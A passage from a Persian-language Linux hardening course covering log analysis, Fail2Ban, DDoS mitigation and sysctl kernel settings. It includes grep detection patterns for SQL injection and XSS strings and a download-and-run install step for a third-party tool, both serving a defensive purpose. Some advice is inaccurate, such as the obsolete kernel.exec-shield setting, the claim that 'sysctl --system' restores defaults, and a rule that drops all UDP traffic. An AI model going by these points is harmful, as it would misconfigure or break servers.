جستجوی تمام تلاش‌های ناموفق ورود:

grep "Failed password" /var/log/auth.log

مشاهده لاگ‌های مرتبط با IP خاص:

grep "192.168.1.100" /var/log/auth.log

مشاهده تمام لاگ‌های خطا در Nginx:

grep "error" /var/log/nginx/error.log
۳. awk و sed → استخراج اطلاعات خاص از لاگ‌ها

استخراج IPهایی که بیشترین تلاش ناموفق ورود را داشته‌اند:

grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nr | head -10

مشاهده تمام درخواست‌های HTTP از یک IP خاص:

awk '{print $1, $7, $9}' /var/log/nginx/access.log | grep "192.168.1.100"
۴. logwatch → تولید گزارش‌های خلاصه از لاگ‌ها

نصب و اجرا:

sudo apt install logwatch -y
sudo logwatch --detail High --print

ارسال گزارش به ایمیل:

sudo logwatch --output mail --mailto admin@example.com --detail High
۵. goaccess → تحلیل لاگ‌های وب‌سرور به‌صورت گرافیکی

نصب و اجرا:

sudo apt install goaccess -y
sudo goaccess /var/log/nginx/access.log --log-format=COMBINED

مشاهده گزارش‌های گرافیکی در وب:

sudo goaccess /var/log/nginx/access.log -o /var/www/html/report.html --log-format=COMBINED

۳. شناسایی حملات احتمالی از روی لاگ‌ها

۱. حملات Brute Force روی SSH

بررسی تعداد تلاش‌های ورود ناموفق:

grep "Failed password" /var/log/auth.log | wc -l

مشاهده IPهایی که بیشترین تلاش ورود ناموفق داشته‌اند:

grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nr | head -10
۲. بررسی حملات DDoS روی وب‌سرور

مشاهده بیشترین درخواست‌های ارسال‌شده از یک IP:

awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -nr | head -10

مشاهده تعداد درخواست‌های دریافت‌شده در ۱۰ دقیقه اخیر:

grep "$(date --date='10 minutes ago' '+%d/%b/%Y:%H:%M')" /var/log/nginx/access.log | wc -l
۳. بررسی تلاش‌های SQL Injection در وب‌سرور

مشاهده درخواست‌های مشکوک شامل UNION SELECT یا DROP TABLE:

grep -iE "UNION.*SELECT|DROP TABLE" /var/log/nginx/access.log
۴. شناسایی حملات XSS (Cross-Site Scripting)

مشاهده درخواست‌های حاوی <script> در پارامترهای URL:

grep -iE "<script>" /var/log/nginx/access.log

۴. پاسخ به تهدیدات و اتوماتیک‌سازی واکنش‌ها

۱. مسدود کردن IPهای مخرب با iptables
sudo iptables -A INPUT -s 192.168.1.100 -j DROP
۲. استفاده از fail2ban برای جلوگیری از حملات Brute Force

نصب و پیکربندی:

sudo apt install fail2ban -y
sudo systemctl enable fail2ban
sudo systemctl start fail2ban

افزودن قوانین برای SSH در مسیر /etc/fail2ban/jail.local:

[sshd]
enabled = true
maxretry = 5
bantime = 3600
findtime = 600

ریستارت Fail2Ban:

sudo systemctl restart fail2ban

بررسی وضعیت:

sudo fail2ban-client status sshd
۳. ارسال هشدارهای امنیتی از طریق ایمیل

استفاده از logwatch برای ارسال هشدارها به ایمیل:

sudo logwatch --output mail --mailto security@example.com --detail High

جمع‌بندی

  • لاگ‌های سیستم و سرویس‌ها را به‌طور مرتب بررسی کنید تا نشانه‌های فعالیت مشکوک را شناسایی کنید.
  • از ابزارهایی مثل journalctl، grep، awk و sed برای فیلتر کردن لاگ‌ها و استخراج اطلاعات مهم استفاده کنید.
  • با ابزارهایی مانند goaccess و logwatch، لاگ‌ها را تحلیل کنید و گزارش‌های دوره‌ای دریافت کنید.
  • برای مقابله با حملات، قوانین امنیتی را با iptables و fail2ban تنظیم کنید و از ارسال هشدارهای ایمیلی استفاده کنید.

مدیریت صحیح لاگ‌ها و تحلیل دقیق آن‌ها به شما کمک می‌کند پیش از وقوع حملات، تهدیدات امنیتی را شناسایی و خنثی کنید.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”استفاده از Fail2Ban برای مقابله با حملات” subtitle=”توضیحات کامل”]Fail2Ban یکی از ابزارهای مهم امنیتی برای شناسایی و مسدود کردن IPهای مشکوک است. این ابزار لاگ‌های سرویس‌های مختلف (مانند SSH، Nginx، Apache و غیره) را بررسی کرده و در صورت مشاهده تعداد زیادی تلاش ناموفق، IPهای مخرب را به‌طور خودکار مسدود می‌کند.

در این بخش، نصب، پیکربندی و بهینه‌سازی Fail2Ban برای مقابله با حملات توضیح داده خواهد شد.


۱. نصب و راه‌اندازی Fail2Ban

نصب Fail2Ban در سیستم‌های مختلف

روی Debian/Ubuntu:

sudo apt update && sudo apt install fail2ban -y

روی CentOS/RHEL:

sudo yum install epel-release -y
sudo yum install fail2ban -y
فعال‌سازی و اجرای Fail2Ban
sudo systemctl enable fail2ban
sudo systemctl start fail2ban
بررسی وضعیت سرویس Fail2Ban
sudo systemctl status fail2ban

۲. پیکربندی Fail2Ban برای مقابله با حملات

فایل پیکربندی اصلی Fail2Ban در مسیر زیر قرار دارد:

/etc/fail2ban/jail.conf

اما ویرایش مستقیم این فایل توصیه نمی‌شود. به جای آن، یک کپی جدید ایجاد کنید:

sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local

و فایل جدید را ویرایش کنید:

sudo nano /etc/fail2ban/jail.local
پارامترهای اصلی پیکربندی

در این فایل، می‌توان تنظیمات کلی مانند زمان مسدودسازی، تعداد تلاش‌های ناموفق و محدوده بررسی را تغییر داد:

[DEFAULT]
bantime = 3600   # زمان مسدودسازی IP به ثانیه (اینجا 1 ساعت)
findtime = 600   # بازه زمانی برای بررسی تلاش‌های ورود ناموفق
maxretry = 5     # تعداد مجاز تلاش‌های ناموفق قبل از مسدود شدن IP
ignoreip = 127.0.0.1/8 192.168.1.0/24  # لیست IPهایی که مسدود نمی‌شوند

۳. فعال‌سازی قوانین برای سرویس‌های مختلف

مقابله با حملات Brute Force روی SSH

برای جلوگیری از حملات Brute Force روی SSH، در فایل /etc/fail2ban/jail.local بخش زیر را اضافه کنید:

[sshd]
enabled = true
port = ssh
filter = sshd
logpath = /var/log/auth.log   # در سیستم‌های Debian/Ubuntu
# logpath = /var/log/secure    # در سیستم‌های RHEL/CentOS
maxretry = 5
bantime = 3600
محافظت از سرور Nginx در برابر حملات DDoS و Brute Force

افزودن پیکربندی زیر به فایل /etc/fail2ban/jail.local:

[nginx-botsearch]
enabled = true
port = http,https
filter = nginx-botsearch
logpath = /var/log/nginx/access.log
maxretry = 10
bantime = 7200
محافظت از سرور Apache

افزودن بخش زیر در /etc/fail2ban/jail.local:

[apache-auth]
enabled = true
port = http,https
filter = apache-auth
logpath = /var/log/apache2/error.log
maxretry = 5
bantime = 3600
محافظت از سرور MySQL در برابر حملات

افزودن قوانین برای جلوگیری از حملات Brute Force روی MySQL:

[mysqld-auth]
enabled = true
port = 3306
filter = mysqld-auth
logpath = /var/log/mysql/error.log
maxretry = 5
bantime = 3600

۴. بررسی و مدیریت Fail2Ban

بررسی وضعیت جیل‌های فعال (Jails)
sudo fail2ban-client status
مشاهده وضعیت جیل خاص (مثلاً SSH)
sudo fail2ban-client status sshd
بررسی لیست IPهای مسدود شده
sudo iptables -L -n
حذف یک IP از لیست مسدود شده
sudo fail2ban-client set sshd unbanip 192.168.1.100
ریستارت کردن Fail2Ban پس از تغییرات
sudo systemctl restart fail2ban

۵. ارسال هشدارهای امنیتی از طریق ایمیل

Fail2Ban می‌تواند هنگام مسدودسازی IPها ایمیل ارسال کند. برای فعال‌سازی این قابلیت، بخش زیر را در /etc/fail2ban/jail.local اضافه کنید:

destemail = security@example.com
sender = fail2ban@example.com
action = %(action_mwl)s

ریستارت Fail2Ban برای اعمال تغییرات:

sudo systemctl restart fail2ban

۶. تنظیم Fail2Ban برای استفاده از nftables به جای iptables

در توزیع‌های جدید لینوکس، nftables جایگزین iptables شده است. برای اطمینان از این که Fail2Ban از nftables استفاده می‌کند، مراحل زیر را انجام دهید:

۱. تغییر تنظیمات backend در /etc/fail2ban/jail.local
[DEFAULT]
banaction = nftables-multiport
۲. بررسی فعال بودن nftables
sudo nft list ruleset
۳. اعمال تغییرات
sudo systemctl restart fail2ban

جمع‌بندی

  • Fail2Ban یک ابزار امنیتی قدرتمند برای شناسایی و مسدود کردن IPهای مخرب است.
  • می‌توان آن را برای سرویس‌های مختلف مانند SSH، Nginx، Apache، MySQL و غیره پیکربندی کرد.
  • از طریق Fail2Ban می‌توان حملات Brute Force، تلاش‌های ورود ناموفق و درخواست‌های مشکوک را شناسایی و مسدود کرد.
  • امکان تنظیم ارسال ایمیل‌های هشدار و استفاده از nftables به جای iptables وجود دارد.
  • Fail2Ban یک ابزار انعطاف‌پذیر است و با ترکیب آن با سایر راهکارهای امنیتی، می‌توان از امنیت سیستم به‌صورت بهتری محافظت کرد.

[/cdb_course_lesson][cdb_course_lesson title=”محافظت در برابر حملات DDoS”][/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”استفاده از ابزارهای Mitigation DDoS” subtitle=”توضیحات کامل”]حملات DDoS (Distributed Denial of Service) از رایج‌ترین تهدیدهای امنیتی هستند که هدف آن‌ها ازکارانداختن سرویس‌ها و اشغال منابع سیستم با ارسال تعداد زیادی درخواست است. برای محافظت از سرورها و سرویس‌ها در برابر حملات DDoS، می‌توان از ابزارهای مختلفی برای شناسایی و کاهش اثر این حملات استفاده کرد.

در این بخش، روش‌های مختلف مقابله با DDoS را بررسی کرده و نحوه نصب، پیکربندی و استفاده از ابزارهای کاربردی مانند iptables, nftables, Fail2Ban, ModSecurity, Cloudflare, DDoS Deflate, و HAProxy را توضیح می‌دهیم.


۱. استفاده از iptables برای فیلتر کردن ترافیک مخرب

iptables یک فایروال قدرتمند در لینوکس است که می‌توان از آن برای مسدود کردن درخواست‌های مخرب استفاده کرد.

۱.۱. مسدود کردن آدرس‌های مشکوک به ارسال تعداد زیادی درخواست
sudo iptables -A INPUT -s 192.168.1.100 -j DROP
۱.۲. محدود کردن تعداد کانکشن‌های همزمان از یک IP
sudo iptables -A INPUT -p tcp --syn --dport 80 -m connlimit --connlimit-above 10 -j DROP

این دستور بیش از ۱۰ اتصال همزمان به پورت ۸۰ (HTTP) را از یک IP مسدود می‌کند.

۱.۳. مسدود کردن ترافیک SYN Flood
sudo iptables -A INPUT -p tcp --syn -m limit --limit 1/s -j ACCEPT

این دستور درخواست‌های SYN را به حداکثر یک عدد در ثانیه محدود می‌کند و از SYN Flood جلوگیری می‌کند.

۱.۴. مشاهده لیست قوانین فعال در iptables
sudo iptables -L -v
۱.۵. ذخیره و اعمال دائمی قوانین iptables
sudo iptables-save | sudo tee /etc/iptables/rules.v4

۲. استفاده از nftables برای مدیریت ترافیک ورودی

nftables جایگزین iptables در بسیاری از سیستم‌های مدرن لینوکس شده است و عملکرد بهتری دارد.

۲.۱. ایجاد جدول جدید برای مدیریت فایروال
sudo nft add table inet filter
۲.۲. ایجاد زنجیره برای بررسی بسته‌های ورودی
sudo nft add chain inet filter input { type filter hook input priority 0 \; }
۲.۳. محدود کردن تعداد درخواست‌های مکرر
sudo nft add rule inet filter input ip saddr 192.168.1.100 drop
۲.۴. ذخیره قوانین nftables
sudo nft list ruleset > /etc/nftables.conf

۳. استفاده از Fail2Ban برای مسدود کردن درخواست‌های مشکوک

Fail2Ban یک ابزار برای شناسایی و مسدود کردن IPهایی است که تعداد زیادی درخواست ناموفق ارسال می‌کنند.

۳.۱. نصب Fail2Ban
sudo apt install fail2ban -y  # برای Debian/Ubuntu
sudo yum install fail2ban -y  # برای RHEL/CentOS
۳.۲. پیکربندی برای جلوگیری از حملات روی Nginx و Apache

افزودن تنظیمات زیر به فایل /etc/fail2ban/jail.local:

[nginx-limit-req]
enabled = true
port = http,https
filter = nginx-limit-req
logpath = /var/log/nginx/access.log
maxretry = 10
bantime = 3600
۳.۳. ریستارت کردن Fail2Ban برای اعمال تغییرات
sudo systemctl restart fail2ban

۴. استفاده از ModSecurity برای حفاظت از وب‌سرورها

ModSecurity یک فایروال برنامه وب (WAF) است که از حملات DDoS و سایر حملات وب جلوگیری می‌کند.

۴.۱. نصب ModSecurity روی Nginx
sudo apt install libnginx-mod-security -y
۴.۲. فعال‌سازی ModSecurity

در فایل /etc/nginx/nginx.conf، خط زیر را اضافه کنید:

modsecurity on;
modsecurity_rules_file /etc/nginx/modsec/main.conf;
۴.۳. ریستارت Nginx برای اعمال تغییرات
sudo systemctl restart nginx

۵. استفاده از Cloudflare برای جلوگیری از حملات DDoS

Cloudflare یک سرویس CDN و امنیتی است که می‌تواند ترافیک مخرب را قبل از رسیدن به سرور شما فیلتر کند.

۵.۱. فعال‌سازی حالت “I’m Under Attack” در Cloudflare

۱. وارد داشبورد Cloudflare شوید.
۲. دامنه خود را انتخاب کنید.
۳. در بخش Security Level، گزینه I’m Under Attack Mode را فعال کنید.

۵.۲. تنظیم Rate Limiting در Cloudflare

۱. به بخش Firewall بروید.
2. در Rate Limiting، قوانینی مانند محدودیت درخواست‌های مکرر از یک IP را اضافه کنید.


۶. استفاده از HAProxy برای جلوگیری از DDoS

HAProxy یک Load Balancer قوی است که قابلیت‌های امنیتی برای کاهش حملات DDoS دارد.

۶.۱. محدود کردن تعداد درخواست‌های همزمان از یک IP

افزودن قوانین زیر به فایل /etc/haproxy/haproxy.cfg:

frontend http_front
   bind *:80
   tcp-request connection reject if { src_conn_rate gt 50 }
   tcp-request connection track-sc0 src
   default_backend http_back

این تنظیم باعث می‌شود که اگر یک IP بیش از ۵۰ درخواست در ثانیه ارسال کند، درخواست‌های اضافی رد شوند.

۶.۲. ریستارت HAProxy
sudo systemctl restart haproxy

۷. استفاده از DDoS Deflate برای مسدودسازی حملات اتصالات مکرر

DDoS Deflate یک ابزار برای شناسایی IPهایی است که تعداد زیادی اتصال به سرور ایجاد می‌کنند.

۷.۱. دانلود و نصب DDoS Deflate
wget https://github.com/jgmdev/ddos-deflate/archive/master.zip
unzip master.zip
cd ddos-deflate-master
sudo ./install.sh
۷.۲. تنظیمات برای مسدود کردن IPهایی که بیش از ۲۰ اتصال دارند

ویرایش فایل /usr/local/ddos/ddos.conf:

NO_OF_CONNECTIONS=20
BAN_PERIOD=600
۷.۳. راه‌اندازی سرویس DDoS Deflate
sudo service ddos start

جمع‌بندی

  • iptables و nftables برای فیلتر کردن ترافیک ناخواسته در سطح سیستم.
  • Fail2Ban برای مسدودسازی خودکار IPهایی که حملات Brute Force انجام می‌دهند.
  • ModSecurity برای محافظت از برنامه‌های تحت وب.
  • Cloudflare برای کاهش اثر حملات DDoS با استفاده از فایروال ابری.
  • HAProxy برای کنترل تعداد درخواست‌ها و جلوگیری از بار اضافی روی سرور.
  • DDoS Deflate برای شناسایی و مسدود کردن IPهایی که تعداد زیادی اتصال ایجاد می‌کنند.

با ترکیب این روش‌ها، می‌توان امنیت سرورها را افزایش داده و حملات DDoS را تا حد زیادی کاهش داد.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”تنظیمات جلوگیری از حملات Volume-based و Application-based” subtitle=”توضیحات کامل”]حملات DDoS معمولاً در دو دسته Volume-based و Application-based طبقه‌بندی می‌شوند. حملات Volume-based مانند UDP Flood، ICMP Flood و SYN Flood با ارسال حجم بالایی از داده‌ها به سرور سعی در اشغال منابع دارند، درحالی‌که حملات Application-based مانند HTTP Flood و Slowloris تلاش می‌کنند لایه‌ی اپلیکیشن را هدف قرار دهند و منابع پردازشی سرور را مصرف کنند.

در این بخش، روش‌های جلوگیری از هر دو نوع حمله را بررسی می‌کنیم و ابزارهای مختلفی را برای فیلتر کردن و محدود کردن ترافیک مخرب معرفی می‌کنیم.


۱. جلوگیری از حملات Volume-based (حجم بالا)

۱.۱. مسدود کردن بسته‌های غیرضروری با iptables

فیلتر کردن ICMP و UDP Flood:

sudo iptables -A INPUT -p icmp --icmp-type echo-request -j DROP
sudo iptables -A INPUT -p udp --dport 80 -m limit --limit 10/s -j ACCEPT
sudo iptables -A INPUT -p udp --dport 80 -j DROP
  • اولین قانون، درخواست‌های Ping (ICMP) را مسدود می‌کند تا از ICMP Flood جلوگیری شود.
  • دومین قانون، تعداد درخواست‌های UDP را به ۱۰ در ثانیه محدود می‌کند.
  • سومین قانون، تمامی درخواست‌های اضافی را حذف می‌کند.

۱.۲. کاهش اثر حملات SYN Flood
sudo iptables -A INPUT -p tcp --syn -m limit --limit 1/s --limit-burst 3 -j ACCEPT
  • تعداد درخواست‌های SYN را به ۱ عدد در ثانیه با حداکثر ۳ درخواست ناگهانی محدود می‌کند.

۱.۳. تنظیم Drop برای ترافیک غیرقانونی
sudo iptables -A INPUT -m state --state INVALID -j DROP
sudo iptables -A FORWARD -m state --state INVALID -j DROP
  • بسته‌های نامعتبر و ناشناخته را حذف می‌کند.

۱.۴. استفاده از nftables برای کنترل دقیق‌تر ترافیک
sudo nft add table inet ddos_filter
sudo nft add chain inet ddos_filter input { type filter hook input priority 0 \; }
sudo nft add rule inet ddos_filter input ip protocol icmp drop
sudo nft add rule inet ddos_filter input ip protocol udp drop
sudo nft add rule inet ddos_filter input tcp flags syn limit rate 1/second burst 3 accept
  • جدولی برای فیلتر ترافیک مشکوک ایجاد می‌کند و بسته‌های ICMP و UDP را مسدود می‌کند.

۱.۵. استفاده از Fail2Ban برای جلوگیری از حملات حجمی
sudo apt install fail2ban -y
sudo systemctl enable fail2ban --now

افزودن قانون برای مسدود کردن حملات روی HTTP:

ویرایش فایل /etc/fail2ban/jail.local و افزودن:

[http-ddos]
enabled = true
port = http,https
filter = http-ddos
logpath = /var/log/nginx/access.log
maxretry = 100
bantime = 3600

ریستارت Fail2Ban:

sudo systemctl restart fail2ban
  • IP‌هایی که بیش از ۱۰۰ درخواست در مدت کوتاهی ارسال کنند، برای ۱ ساعت مسدود خواهند شد.

۲. جلوگیری از حملات Application-based (هدف‌گیری اپلیکیشن‌ها)

۲.۱. استفاده از ModSecurity برای محافظت از وب‌سرور

نصب ModSecurity روی Nginx:

sudo apt install libnginx-mod-security -y

فعال‌سازی در فایل /etc/nginx/nginx.conf:

modsecurity on;
modsecurity_rules_file /etc/nginx/modsec/main.conf;

ریستارت Nginx:

sudo systemctl restart nginx
  • ModSecurity به‌عنوان یک فایروال لایه اپلیکیشن، درخواست‌های مخرب را فیلتر می‌کند.

۲.۲. جلوگیری از حملات Slowloris

Slowloris یکی از حملات رایج Application-based است که اتصالات باز را به سرور ارسال می‌کند. برای مقابله با آن:

افزودن تنظیمات زیر در Nginx:

server {
   listen 80 default_server;
   server_name _;
   keepalive_timeout 5;
   client_body_timeout 5;
   client_header_timeout 5;
   send_timeout 5;
}

ریستارت سرور:

sudo systemctl restart nginx
  • زمان keepalive کاهش داده شده تا اتصالات باز طولانی‌مدت بسته شوند.

۲.۳. محدود کردن تعداد درخواست‌های HTTP در HAProxy

افزودن این تنظیمات به /etc/haproxy/haproxy.cfg:

frontend http_front
   bind *:80
   tcp-request connection reject if { src_conn_rate gt 50 }
   tcp-request connection track-sc0 src
   default_backend http_back

ریستارت HAProxy:

sudo systemctl restart haproxy
  • اگر یک IP بیش از ۵۰ درخواست در ثانیه ارسال کند، درخواست‌های اضافی رد خواهند شد.

۲.۴. استفاده از Cloudflare برای محافظت از لایه‌ی اپلیکیشن

۱. فعال‌سازی “I’m Under Attack Mode” در Cloudflare
۲. تنظیم Rate Limiting برای کاهش درخواست‌های مکرر از یک IP


۲.۵. استفاده از Suricata برای تشخیص حملات شبکه

نصب Suricata:

sudo apt install suricata -y

ویرایش فایل /etc/suricata/suricata.yaml و افزودن قوانین:

- alert http any any -> any any (msg:"Possible HTTP Flood Attack"; flow:established,to_server; threshold:type threshold, track by_src, count 20, seconds 5; sid:100001;)

ریستارت Suricata:

sudo systemctl restart suricata
  • اگر یک IP بیش از ۲۰ درخواست در ۵ ثانیه ارسال کند، هشدار داده می‌شود.

جمع‌بندی

✅ برای جلوگیری از حملات Volume-based:

  • iptables و nftables برای مسدودسازی بسته‌های حجمی و SYN Flood.
  • Fail2Ban برای تشخیص و مسدودسازی درخواست‌های بیش از حد.
  • Cloudflare برای فیلتر کردن حملات UDP و ICMP در لایه ابری.

✅ برای جلوگیری از حملات Application-based:

  • ModSecurity برای جلوگیری از حملات HTTP Flood و درخواست‌های مخرب.
  • HAProxy برای محدود کردن تعداد درخواست‌های همزمان.
  • Suricata برای نظارت بر لاگ‌ها و شناسایی درخواست‌های غیرعادی.
  • Cloudflare برای جلوگیری از حملات وب مانند Slowloris.

با ترکیب این روش‌ها، می‌توان سطح امنیت سرورها را در برابر حملات DDoS در لایه شبکه و اپلیکیشن افزایش داد.[/cdb_course_lesson][cdb_course_lesson title=”فصل 3. تقویت امنیت سیستم‌های عامل”][/cdb_course_lesson][cdb_course_lesson title=”Harden کردن سیستم با استفاده از sysctl”][/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”تنظیمات امنیتی sysctl برای جلوگیری از حملات Kernel” subtitle=”توضیحات کامل”]sysctl یک ابزار مدیریت تنظیمات کرنل لینوکس است که امکان کنترل رفتار هسته سیستم عامل و افزایش امنیت را فراهم می‌کند. با استفاده از sysctl می‌توان حملات سطح کرنل مانند DoS، Spoofing، SYN Flood، و حملات Buffer Overflow را کاهش داد.

در این بخش، تنظیمات امنیتی sysctl برای جلوگیری از حملات Kernel را همراه با دستورات لازم و مسیر فایل‌های تنظیمات بررسی می‌کنیم.


۱. مشاهده و ویرایش تنظیمات sysctl

۱.۱. مشاهده تنظیمات فعلی

برای نمایش تمامی تنظیمات sysctl موجود در سیستم:

sudo sysctl -a
  • لیستی از تمام متغیرهای sysctl و مقادیر فعلی آن‌ها نمایش داده می‌شود.

۱.۲. ویرایش فایل تنظیمات دائمی sysctl

تنظیمات sysctl در فایل /etc/sysctl.conf قرار دارند. برای ویرایش آن:

sudo nano /etc/sysctl.conf
  • پس از تغییرات، باید تنظیمات را مجدداً بارگذاری کنیم.

۲. جلوگیری از حملات SYN Flood

حملات SYN Flood با ارسال تعداد زیادی بسته SYN به سرور، باعث اشغال منابع و اختلال در سرویس‌دهی می‌شوند.

۲.۱. فعال‌سازی مکانیزم محافظت در برابر SYN Flood

در فایل /etc/sysctl.conf این مقادیر را اضافه کنید:

net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_max_syn_backlog = 2048
net.ipv4.tcp_synack_retries = 2
  • net.ipv4.tcp_syncookies = 1 → فعال کردن SYN Cookies برای جلوگیری از حملات.
  • net.ipv4.tcp_max_syn_backlog = 2048 → افزایش ظرفیت صف SYN برای مدیریت بهتر درخواست‌ها.
  • net.ipv4.tcp_synack_retries = 2 → کاهش تعداد تلاش‌ها برای ارسال SYN-ACK.

اعمال تنظیمات:

sudo sysctl -p

۳. جلوگیری از IP Spoofing

برای جلوگیری از جعل آدرس IP و حملات Spoofing، تنظیمات زیر را اضافه کنید:

net.ipv4.conf.all.rp_filter = 1
net.ipv4.conf.default.rp_filter = 1
  • فعال کردن “Reverse Path Filtering” برای مسدود کردن بسته‌های جعلی.

۴. جلوگیری از حملات Source Routing

حملات Source Routing به مهاجم اجازه می‌دهند ترافیک را از مسیرهای خاص کنترل کند. برای غیرفعال کردن:

net.ipv4.conf.all.accept_source_route = 0
net.ipv4.conf.default.accept_source_route = 0
  • بسته‌هایی که دارای مسیر مشخص‌شده توسط فرستنده هستند، مسدود خواهند شد.

۵. جلوگیری از ارسال پاسخ‌های Broadcast

حملات مانند Smurf Attack از پاسخ‌های broadcast برای ایجاد ترافیک مخرب استفاده می‌کنند. برای جلوگیری از این حملات:

net.ipv4.icmp_echo_ignore_broadcasts = 1
  • این گزینه باعث می‌شود سیستم به درخواست‌های Echo از آدرس‌های Broadcast پاسخ ندهد.

۶. جلوگیری از ارسال پاسخ‌های ICMP Redirect

ICMP Redirect می‌تواند توسط مهاجمان برای تغییر مسیر ترافیک و انجام حملات Man-in-the-Middle استفاده شود. برای غیرفعال کردن:

net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.default.accept_redirects = 0
net.ipv4.conf.all.send_redirects = 0
net.ipv4.conf.default.send_redirects = 0
  • پذیرش و ارسال درخواست‌های تغییر مسیر (ICMP Redirect) غیرفعال می‌شود.

۷. جلوگیری از حملات Buffer Overflow در کرنل

برای جلوگیری از حملات Buffer Overflow که منجر به اجرای کد مخرب در کرنل می‌شود:

kernel.exec-shield = 1
kernel.randomize_va_space = 2
  • kernel.exec-shield = 1 → فعال کردن محافظت در برابر اجرای کدهای مخرب.
  • kernel.randomize_va_space = 2 → فعال کردن تصادفی‌سازی فضای آدرس حافظه (ASLR).

۸. محدود کردن تعداد اتصالات نیمه‌باز (Half-Open Connections)

برای کاهش تأثیر حملات TCP Connection Exhaustion:

net.ipv4.tcp_max_orphans = 4096
net.ipv4.tcp_fin_timeout = 15
  • net.ipv4.tcp_max_orphans = 4096 → محدود کردن تعداد اتصالات یتیم (Orphaned Connections).
  • net.ipv4.tcp_fin_timeout = 15 → کاهش زمان انتظار برای بسته‌های FIN به ۱۵ ثانیه.

۹. جلوگیری از Port Scanning و حملات Reconnaissance

محدود کردن نرخ پاسخ‌های ICMP برای جلوگیری از شناسایی سرور توسط مهاجم:

net.ipv4.icmp_ratelimit = 100
net.ipv4.icmp_ratemask = 88089
  • نرخ پاسخ‌های ICMP محدود شده تا مهاجم نتواند اطلاعات سرور را به‌راحتی جمع‌آوری کند.

۱۰. اعمال تنظیمات و بررسی تغییرات

بعد از انجام تغییرات در فایل /etc/sysctl.conf، برای اعمال آن‌ها دستور زیر را اجرا کنید:

sudo sysctl -p

برای بررسی اینکه آیا تنظیمات موردنظر به درستی اعمال شده‌اند:

sudo sysctl -a | grep "net.ipv4"

۱۱. بازگردانی تنظیمات پیش‌فرض sysctl

اگر به هر دلیلی بخواهید تنظیمات sysctl را به حالت پیش‌فرض بازگردانید، می‌توانید از این دستور استفاده کنید:

sudo sysctl --system

جمع‌بندی

✅ پیکربندی sysctl برای افزایش امنیت کرنل و کاهش حملات.
✅ جلوگیری از حملات SYN Flood، Spoofing، Smurf، ICMP Redirect، و Buffer Overflow.
✅ اعمال تنظیمات دائمی در /etc/sysctl.conf و بررسی آن‌ها با sysctl -p.
✅ مدیریت نرخ پاسخ‌ها برای جلوگیری از شناسایی سرور توسط مهاجمان.

این تنظیمات به بهبود امنیت سیستم و کاهش سطح حمله در برابر تهدیدات کرنل کمک می‌کنند.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”فعال‌سازی ویژگی‌های امنیتی خاص در هسته لینوکس” subtitle=”توضیحات کامل”]امنیت هسته (Kernel Security) یکی از مهم‌ترین بخش‌های ایمن‌سازی سیستم محسوب می‌شود. با فعال‌سازی برخی ویژگی‌های امنیتی خاص، می‌توان سطح محافظت سیستم را در برابر حملات هسته‌ای، اجرای کدهای مخرب، و سوءاستفاده از آسیب‌پذیری‌های کرنل افزایش داد.

در این بخش، ویژگی‌های امنیتی پیشرفته در هسته لینوکس را بررسی کرده و نحوه فعال‌سازی آن‌ها را همراه با دستورات و مسیرهای مربوطه ارائه می‌کنیم.


۱. بررسی ویژگی‌های امنیتی فعال در کرنل

برای مشاهده ویژگی‌های امنیتی فعال در هسته سیستم، دستور زیر را اجرا کنید:

sudo dmesg | grep "Kernel security"

همچنین می‌توانید با استفاده از sysctl تمامی تنظیمات مرتبط با کرنل را مشاهده کنید:

sudo sysctl -a | grep "kernel"

۲. فعال‌سازی تصادفی‌سازی فضای آدرس (ASLR)

تصادفی‌سازی فضای آدرس (Address Space Layout Randomization – ASLR) از اجرای کدهای مخرب در حافظه جلوگیری می‌کند. برای فعال‌سازی آن، مقادیر زیر را در فایل /etc/sysctl.conf اضافه کنید:

kernel.randomize_va_space = 2

اعمال تنظیمات:

sudo sysctl -p
  • مقدار 2 بالاترین سطح تصادفی‌سازی را اعمال می‌کند.
  • این ویژگی حملات مبتنی بر حافظه مانند Buffer Overflow را کاهش می‌دهد.

۳. فعال‌سازی محدودیت‌های Core Dump

Core Dump فایل‌هایی هستند که هنگام کرش کردن برنامه‌ها ایجاد می‌شوند. این فایل‌ها می‌توانند شامل اطلاعات حساس باشند و به مهاجم امکان مهندسی معکوس بدهند. برای غیرفعال کردن:

fs.suid_dumpable = 0

اعمال تنظیمات:

sudo sysctl -p
  • مقدار 0 از ایجاد فایل‌های Core Dump جلوگیری می‌کند.
  • اگر نیاز به دیباگینگ باشد، مقدار 1 قابل استفاده است.

۴. فعال‌سازی ExecShield برای جلوگیری از اجرای کدهای مخرب

ExecShield مکانیسمی برای جلوگیری از اجرای کدهای غیرمجاز در بخش‌های خاص حافظه است.
برای فعال‌سازی، مقادیر زیر را در /etc/sysctl.conf اضافه کنید:

kernel.exec-shield = 1

اعمال تنظیمات:

sudo sysctl -p
  • این ویژگی حملات سرریز بافر و اجرای کدهای مخرب را کاهش می‌دهد.

۵. جلوگیری از ارسال پاسخ‌های ICMP Redirect

ICMP Redirect می‌تواند برای تغییر مسیر ترافیک توسط مهاجم مورد استفاده قرار گیرد. برای غیرفعال کردن:

net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.default.accept_redirects = 0

اعمال تنظیمات:

sudo sysctl -p
  • این گزینه از تغییر مسیرهای غیرمجاز جلوگیری می‌کند.

۶. محدود کردن پردازش بسته‌های فوروارد شده

برای جلوگیری از حملات Man-in-the-Middle و سوءاستفاده از قابلیت IP Forwarding، تنظیمات زیر را در /etc/sysctl.conf اعمال کنید:

net.ipv4.ip_forward = 0

اعمال تنظیمات:

sudo sysctl -p
  • با این تنظیم، سیستم دیگر به عنوان روتر عمل نمی‌کند.

۷. جلوگیری از حملات Stack Clash

